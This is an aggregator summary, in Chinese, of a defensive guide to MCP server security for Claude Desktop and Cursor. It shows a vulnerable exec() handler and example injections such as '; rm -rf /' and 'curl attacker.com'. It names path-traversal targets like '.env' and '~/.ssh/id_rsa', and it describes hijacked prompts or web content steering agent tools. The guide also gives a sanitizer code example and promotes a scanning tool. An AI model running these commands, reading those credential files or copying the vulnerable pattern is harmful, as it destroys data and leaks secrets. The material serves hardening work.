8.0
热点
AI SCORE
技术实践2026-08-24 16:17
MCP服务器安全指南:防止Claude Desktop/Cursor注入攻击
dev.to · AI#MCP#安全#Cursor
Editor brief · 编辑速览
详解MCP协议的安全风险,包括命令注入、目录遍历、schema约束缺失等攻击面,并提供修复代码示例。
MCP 工具以本地用户账户的完整执行权限运行。shell 执行或文件读取工具中未经转义的参数,允许被劫持的 prompt 或恶意网页上下文执行任意代码或窃取私有 SSH 密钥。
// VULNERABLE PATTERN:
server.setRequestHandler(CallToolRequestSchema, async (request) => {
if (request.params.name === "run_script") {
// Dangerous: metacharacters like ; | & ` are unescaped!
exec(`node ${request.params.arguments.scriptPath}`);
}
});
任意 Shell 逃逸:传递给子进程未经清理的参数允许注入命令(; rm -rf / 或 curl attacker.com)。
目录遍历:工具在读取文件时若缺少根目录边界检查,允许路径逃逸(../../../../.env 或 ~/.ssh/id_rsa)。
Schema 约束缺失:省略 additionalProperties: false 会导致静默的 payload 键注入。
你可以即时审计任意本地 MCP 配置:
npx @pixeloffice-eu/mcp-shield scan
或使用 MCP-Shield Studio 的交互式 Web 可视化工具。
// safe-mcp-wrapper.cjs — Zero-Dependency Hardened Sentinel
const path = require('path');
const ALLOWED_ROOT = process.env.MCP_SANDBOX_DIR || process.cwd();
function sanitizePath(untrustedPath) {
const resolved = path.resolve(ALLOWED_ROOT, untrustedPath);
if (!resolved.startsWith(ALLOWED_ROOT)) {
throw new Error(`[MCP-Shield] Security Violation: Path '${untrustedPath}' escapes sandbox directory.`);
}
return resolved;
}
function sanitizeCommandArg(arg) {
if (typeof arg !== 'string' || /[;&|$`><!\\]/.test(arg)) {
throw new Error(`[MCP-Shield] Injection Blocked: Command argument contains forbidden shell metacharacters.`);
}
return arg.trim();
}
module.exports = { sanitizePath, sanitizeCommandArg };
你可以在以下地址直接测试自己的工具 schema 并导出可下载的合规证书:👉 Pixel Office MCP-Shield